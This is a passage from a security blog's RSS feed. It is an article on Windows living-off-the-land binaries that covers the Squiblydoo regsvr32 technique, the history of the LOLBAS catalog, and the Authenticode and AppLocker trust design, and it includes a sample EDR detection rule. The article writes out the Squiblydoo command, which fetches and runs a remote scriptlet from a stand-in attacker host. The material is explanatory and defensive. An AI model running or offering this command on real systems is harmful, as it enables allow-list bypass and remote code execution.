<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: detection-engineering</title><description>Posts tagged detection-engineering.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:13 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/detection-engineering/rss.xml" rel="self" type="application/rss+xml"/><item><title>Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break</title><link>https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st/</link><guid isPermaLink="true">https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st/</guid><description>How a 1996 Authenticode design choice produced the LOLBin class, why the LOLBAS catalog has 207 binaries and Microsoft only blocks ~40, and why that gap is permanent.</description><pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft&apos;s App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith&apos;s 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft&apos;s four-generation response, and argues the class is permanent.
&lt;h2&gt;1. The Four-Line Bypass That Cannot Be Patched&lt;/h2&gt;
&lt;p&gt;On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in &lt;em&gt;enforce&lt;/em&gt; mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.&lt;/p&gt;
&lt;p&gt;The command is short enough to memorize:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every part of it is normal. &lt;code&gt;regsvr32.exe&lt;/code&gt; is the operating system&apos;s COM registration utility, shipped in every Windows release since NT 4. The &lt;code&gt;/i:URL&lt;/code&gt; switch is documented [@lolbas-regsvr32]: it passes an &lt;em&gt;installation parameter&lt;/em&gt; to a COM scriptlet. &lt;code&gt;scrobj.dll&lt;/code&gt; is the Microsoft Script Component runtime. The &lt;code&gt;.sct&lt;/code&gt; extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.&lt;/p&gt;
&lt;p&gt;What is not normal is who controls the URL. When &lt;code&gt;regsvr32.exe&lt;/code&gt; fetches that &lt;code&gt;.sct&lt;/code&gt; over HTTP and hands it to &lt;code&gt;scrobj.dll&lt;/code&gt;, the scriptlet&apos;s body runs inside a Microsoft-signed parent process. The &lt;code&gt;/s&lt;/code&gt; flag suppresses dialog boxes, &lt;code&gt;/n&lt;/code&gt; tells &lt;code&gt;regsvr32&lt;/code&gt; not to call &lt;code&gt;DllRegisterServer&lt;/code&gt;, and &lt;code&gt;/u&lt;/code&gt; reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it &lt;em&gt;Squiblydoo&lt;/em&gt; in its April 28, 2016 threat advisory, and the MITRE ATT&amp;amp;CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about &quot;hipster hackers&quot; and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].&lt;/p&gt;

The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black&apos;s April 28, 2016 threat advisory; tracked by MITRE ATT&amp;amp;CK as sub-technique T1218.010 [@attack-t1218-010].

sequenceDiagram
    participant User as User shell
    participant Regsvr32 as regsvr32.exe (signed)
    participant Scrobj as scrobj.dll (signed)
    participant Remote as Attacker HTTP server
    participant JScript as JScript engine
    User-&amp;gt;&amp;gt;Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll
    Regsvr32-&amp;gt;&amp;gt;Scrobj: Load COM scriptlet runtime
    Scrobj-&amp;gt;&amp;gt;Remote: GET /x.sct
    Remote--&amp;gt;&amp;gt;Scrobj: scriptlet XML with embedded JScript body
    Scrobj-&amp;gt;&amp;gt;JScript: Evaluate script body in-process
    JScript--&amp;gt;&amp;gt;User: Arbitrary code runs as the user
&lt;p&gt;The reason this bypass is famous is not the technique. It is the &lt;em&gt;invariance&lt;/em&gt;. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith&apos;s command is the security industry&apos;s longest-lived working proof-of-concept against the &lt;em&gt;defaults&lt;/em&gt; of a flagship operating system.&lt;/p&gt;
&lt;p&gt;A defender watching this from an EDR console sees a specific shape: a parent process (often &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;explorer.exe&lt;/code&gt;, an Office app, or a script host) spawns &lt;code&gt;regsvr32.exe&lt;/code&gt;, and the command line contains &lt;code&gt;/i:http&lt;/code&gt;. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a &lt;a href=&quot;https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/&quot; rel=&quot;noopener&quot;&gt;Sysmon Event ID 1&lt;/a&gt; (process create) rule.&lt;/p&gt;
&lt;p&gt;{`
// Simulated EDR rule: flag any child regsvr32.exe whose command line
// references a remote URL. This is the canonical detection shape that
// SOC analysts have been writing for ten years.
function isSquiblydoo(event) {
  const child = (event.image || &apos;&apos;).toLowerCase();
  const cmd   = (event.commandLine || &apos;&apos;).toLowerCase();
  if (!child.endsWith(&apos;\\regsvr32.exe&apos;)) return false;
  // /i:http or /i:https with a URL argument is the load-bearing signal.
  return /\/i:https?:\/\//.test(cmd);
}&lt;/p&gt;
&lt;p&gt;const sample = {
  image: &apos;C:\\Windows\\System32\\regsvr32.exe&apos;,
  parentImage: &apos;C:\\Windows\\System32\\cmd.exe&apos;,
  commandLine: &apos;regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll&apos;
};
console.log(&apos;Squiblydoo match:&apos;, isSquiblydoo(sample));
`}&lt;/p&gt;
&lt;p&gt;The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world&apos;s most-deployed desktop operating system? Second: is &lt;code&gt;regsvr32&lt;/code&gt; an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.&lt;/p&gt;
&lt;h2&gt;2. Five Years From Coined Phrase to Catalog&lt;/h2&gt;
&lt;p&gt;When did &lt;em&gt;living off the land&lt;/em&gt; become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 (&quot;All in the Family&quot;), Christopher Campbell and Matt Graeber gave a talk titled &lt;em&gt;Living off the Land: A Minimalist&apos;s Guide to Windows Post-Exploitation&lt;/em&gt; [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (&lt;code&gt;wmic&lt;/code&gt;, &lt;code&gt;netsh&lt;/code&gt;, &lt;code&gt;powershell&lt;/code&gt;, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.&lt;/p&gt;
&lt;p&gt;The phrase entered defender vocabulary, but the &lt;em&gt;catalog&lt;/em&gt; did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith&apos;s April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil &lt;code&gt;/U&lt;/code&gt; bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added &lt;code&gt;dnx.exe&lt;/code&gt; on November 17, 2016 [@enigma0x3-dnx] and &lt;code&gt;rcsi.exe&lt;/code&gt; four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.&lt;/p&gt;
&lt;p&gt;In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical &lt;em&gt;Subverting Trust in Windows&lt;/em&gt; writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named &lt;em&gt;misplaced trust&lt;/em&gt; as the mismatch between &lt;em&gt;the binary is signed by Microsoft&lt;/em&gt; and &lt;em&gt;the binary&apos;s behavior is trustworthy when handed attacker-controlled arguments&lt;/em&gt; [@specterops-subverting-trust]. The same year, Symantec&apos;s ISTR special report brought &quot;living off the land&quot; into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.&lt;/p&gt;
&lt;p&gt;The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project&apos;s origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster&apos;s local timezone), Philip Goh proposed the acronym &lt;em&gt;LOLBins&lt;/em&gt; -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster&apos;s local timezone), Jimmy Bayne proposed &lt;em&gt;LOLScripts&lt;/em&gt; for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between &lt;em&gt;LOLBin&lt;/em&gt; and &lt;em&gt;LOLBas&lt;/em&gt;; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at &lt;code&gt;10:04:50 UTC&lt;/code&gt;, Moe created the GitHub repository &lt;code&gt;api0cradle/LOLBAS&lt;/code&gt; [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor &lt;code&gt;LOLBAS-Project/LOLBAS&lt;/code&gt; [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.&lt;/p&gt;
&lt;p&gt;The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article&apos;s prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.&lt;/p&gt;
&lt;p&gt;Two more 2018 events matter. On August 17, 2018, Matt Graeber posted &lt;em&gt;Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe&lt;/em&gt;; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt; was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog&apos;s growth over the next eight years.&lt;/p&gt;
&lt;p&gt;The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled &lt;em&gt;#LOLBins -- Nothing to LOL about!&lt;/em&gt; [@derbycon8-moe]. The LOLBAS README itself names this as the project&apos;s foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project&apos;s own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.&lt;/p&gt;

timeline
    title LOLBin coinage and catalog, 2013 to 2018
    2013-09-27 : DerbyCon 3 Campbell and Graeber coin &quot;living off the land&quot;
    2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet)
    2016-11    : Matt Nelson publishes dnx and rcsi bypasses
    2017       : Graeber and Smith speak at BlueHat IL 2017
    2018-03-01 : Philip Goh proposes &quot;LOLBins&quot; on Twitter (UTC)
    2018-03    : Graeber and Christensen present Subverting Trust in Windows at TROOPERS
    2018-04-13 : Jimmy Bayne proposes &quot;LOLScripts&quot; (UTC)
    2018-04-15 : Oddvar Moe poll ratifies &quot;LOLBin&quot; with 69 percent
    2018-04-18 : api0cradle/LOLBAS GitHub repo created
    2018-06-08 : LOLBAS-Project organization repo created
    2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe
    2018-10    : Oddvar Moe DerbyCon 8 &quot;#LOLBins -- Nothing to LOL about!&quot;

A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has &quot;extra unexpected functionality&quot; useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].
&lt;p&gt;Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was &lt;em&gt;naming the class&lt;/em&gt;. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.&lt;/p&gt;
&lt;h2&gt;3. The Two Trust Axes Microsoft Decoupled in 1996&lt;/h2&gt;
&lt;p&gt;Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.&lt;/p&gt;
&lt;p&gt;Start with the 1996 trade-off. &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;&lt;em&gt;Authenticode&lt;/em&gt;&lt;/a&gt; shipped with Internet Explorer 3.0 to answer one question: &lt;em&gt;was this code signed by a party I trust?&lt;/em&gt; [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable&apos;s hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.&lt;/p&gt;

Microsoft&apos;s code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary&apos;s hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].
&lt;p&gt;Notice what Authenticode does &lt;em&gt;not&lt;/em&gt; answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary&apos;s documented behavior includes &quot;execute attacker-controlled JScript fetched over HTTP.&quot; Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.&lt;/p&gt;
&lt;p&gt;Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces &lt;em&gt;publisher rules&lt;/em&gt;, &lt;em&gt;path rules&lt;/em&gt;, and &lt;em&gt;hash rules&lt;/em&gt; as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker&apos;s default rule template admits every executable under &lt;code&gt;%windir%&lt;/code&gt; or &lt;code&gt;%programfiles%&lt;/code&gt; via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft&apos;s tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.&lt;/p&gt;

The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft&apos;s own documentation now describes AppLocker as &quot;a defense-in-depth security feature and not considered a defensible Windows security feature&quot; [@ms-applocker-overview]; App Control for Business is the modern successor.
&lt;p&gt;Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of &lt;code&gt;mshtml.dll&lt;/code&gt; or &lt;code&gt;cmd.exe&lt;/code&gt;. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker&apos;s default rule was, by any pragmatic measure, the right call.&lt;/p&gt;
&lt;p&gt;But that call inherits Authenticode&apos;s blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary &lt;em&gt;does&lt;/em&gt;. The two systems live on orthogonal trust axes:&lt;/p&gt;

flowchart LR
    A[&quot;Authenticode signing&lt;br /&gt;Who signed this binary?&quot;] --&amp;gt; B[&quot;AppLocker policy&lt;br /&gt;Is this publisher allowed?&quot;]
    B --&amp;gt; C[&quot;Binary loads and runs&quot;]
    C --&amp;gt; D[&quot;Runtime behavior&lt;br /&gt;What does this binary do with arguments?&quot;]
    D -. unmeasured .-&amp;gt; E[&quot;Attacker-controlled script,&lt;br /&gt;DLL, XOML, or URL is executed&quot;]
    style D stroke:#888,stroke-dasharray: 5 5
    style E stroke:#c33,stroke-width:2px
&lt;p&gt;The point of the diagram is the dotted edge. There is no measurement of &lt;em&gt;D&lt;/em&gt; before &lt;em&gt;C&lt;/em&gt;. The control plane stops at the signature check, and the runtime behavior is the attacker&apos;s playground. That gap is exactly where Squiblydoo lives. &lt;code&gt;regsvr32.exe&lt;/code&gt; is Microsoft-signed (Authenticode says &lt;em&gt;yes&lt;/em&gt;). It is on the default AppLocker publisher rule (AppLocker says &lt;em&gt;yes&lt;/em&gt;). It has a documented &lt;code&gt;/i:URL&lt;/code&gt; switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Signature trust answers &lt;em&gt;who signed this?&lt;/em&gt;. It cannot answer &lt;em&gt;what does this binary do at runtime?&lt;/em&gt;. The LOLBin class is the runtime consequence of treating those as the same question.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the structural error -- and &quot;error&quot; is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.&lt;/p&gt;
&lt;p&gt;Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: &lt;em&gt;AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature&lt;/em&gt; [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.&lt;/p&gt;

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]
&lt;p&gt;The structural argument from this section is the rest of the article&apos;s load-bearing premise. If signature trust is decoupled from behavior trust &lt;em&gt;by construction&lt;/em&gt;, then for every Microsoft-signed binary that exposes a &quot;load and execute arbitrary script, DLL, or payload&quot; surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.&lt;/p&gt;
&lt;h2&gt;4. The LOLBAS Catalog as a Data Structure&lt;/h2&gt;
&lt;p&gt;Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&amp;amp;CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an &lt;em&gt;artifact&lt;/em&gt; the defender community built, not just a list of binaries.&lt;/p&gt;
&lt;p&gt;The repository at &lt;code&gt;LOLBAS-Project/LOLBAS&lt;/code&gt; [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Directory&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;Count&lt;/th&gt;
&lt;th&gt;What it holds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OSBinaries/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;130&lt;/td&gt;
&lt;td&gt;Native Windows-shipped executables (&lt;code&gt;regsvr32&lt;/code&gt;, &lt;code&gt;rundll32&lt;/code&gt;, &lt;code&gt;mshta&lt;/code&gt;, &lt;code&gt;certutil&lt;/code&gt;, ...)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OtherMSBinaries/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;77&lt;/td&gt;
&lt;td&gt;Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OSLibraries/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;17&lt;/td&gt;
&lt;td&gt;DLLs that can be loaded as LOLBin payloads (the LOLLib subclass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OSScripts/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;10&lt;/td&gt;
&lt;td&gt;Microsoft-shipped scripts (the LOLScript subclass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;&lt;strong&gt;234&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;207 binaries plus 27 libraries and scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.
&lt;p&gt;The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.&lt;/p&gt;
&lt;p&gt;Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are &lt;code&gt;Name&lt;/code&gt;, &lt;code&gt;Description&lt;/code&gt;, &lt;code&gt;Author&lt;/code&gt;, &lt;code&gt;Created&lt;/code&gt;, one or more &lt;code&gt;Commands&lt;/code&gt; blocks, &lt;code&gt;Full_Path&lt;/code&gt;, &lt;code&gt;Code_Sample&lt;/code&gt;, &lt;code&gt;Detection&lt;/code&gt;, &lt;code&gt;Resources&lt;/code&gt;, and &lt;code&gt;Acknowledgements&lt;/code&gt;. Inside each &lt;code&gt;Commands&lt;/code&gt; block sits the function taxonomy that defenders read first.&lt;/p&gt;

flowchart TD
    Entry[&quot;YAML entry: Name&lt;br /&gt;Description, Author, Created&quot;]
    Entry --&amp;gt; Commands[&quot;Commands[]&quot;]
    Commands --&amp;gt; C1[&quot;Command 1: command-line invocation&quot;]
    Commands --&amp;gt; C2[&quot;Command 2: command-line invocation&quot;]
    C1 --&amp;gt; Use[&quot;Use: plain-English description&quot;]
    C1 --&amp;gt; Category[&quot;Category: Execute, Download, Compile, AWL Bypass, ...&quot;]
    C1 --&amp;gt; Priv[&quot;Privileges: User or Admin&quot;]
    C1 --&amp;gt; Mitre[&quot;MitreID: T1218.010, T1127.001, ...&quot;]
    Entry --&amp;gt; Paths[&quot;Full_Path[]: where the binary lives on disk&quot;]
    Entry --&amp;gt; Detect[&quot;Detection[]: vendor-curated detection links&quot;]
    Entry --&amp;gt; Refs[&quot;Resources[]: primary disclosures and writeups&quot;]
    Entry --&amp;gt; Ack[&quot;Acknowledgements[]: credited researchers&quot;]
&lt;p&gt;The function taxonomy is a closed set of eleven categories: &lt;code&gt;Execute&lt;/code&gt;, &lt;code&gt;Download&lt;/code&gt;, &lt;code&gt;Copy&lt;/code&gt;, &lt;code&gt;Encode&lt;/code&gt;, &lt;code&gt;Decode&lt;/code&gt;, &lt;code&gt;Compile&lt;/code&gt;, &lt;code&gt;Credentials&lt;/code&gt;, &lt;code&gt;AWL Bypass&lt;/code&gt;, &lt;code&gt;AWL Bypass + UAC Bypass&lt;/code&gt;, &lt;code&gt;Reconnaissance&lt;/code&gt;, and &lt;code&gt;Dump&lt;/code&gt;. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.&lt;/p&gt;
&lt;p&gt;The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:&lt;/p&gt;

Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra &apos;unexpected&apos; functionality. ... Have functionality that would be useful to an APT or red team. -- LOLBAS criteria [@lolbas-github]
&lt;p&gt;The two clauses do most of the project&apos;s editorial work. The first clause -- &lt;em&gt;Microsoft-signed, native or downloaded from Microsoft&lt;/em&gt; -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else&apos;s problem (probably an EV-certificate review). The second clause -- &lt;em&gt;extra unexpected functionality, useful to an APT or red team&lt;/em&gt; -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (&lt;code&gt;cmd.exe&lt;/code&gt; running a script is not a LOLBin; &lt;code&gt;regsvr32.exe&lt;/code&gt; fetching a script from &lt;code&gt;http://&lt;/code&gt; is).&lt;/p&gt;
&lt;p&gt;Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris &quot;Lopi&quot; Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at &lt;code&gt;lolbas-project.github.io&lt;/code&gt; exposes the same data as a browsable per-binary site [@lolbas-frontend].&lt;/p&gt;
&lt;p&gt;The LOLBAS frontend at &lt;code&gt;lolbas-project.github.io&lt;/code&gt; is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.&lt;/p&gt;
&lt;p&gt;The catalog&apos;s status as a &lt;em&gt;data structure&lt;/em&gt; is what distinguishes it from a textbook chapter. Splunk&apos;s Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&amp;amp;CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA&apos;s joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.&lt;/p&gt;
&lt;p&gt;Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.&lt;/p&gt;
&lt;h2&gt;5. The Canonical Eight: A Field Guide&lt;/h2&gt;
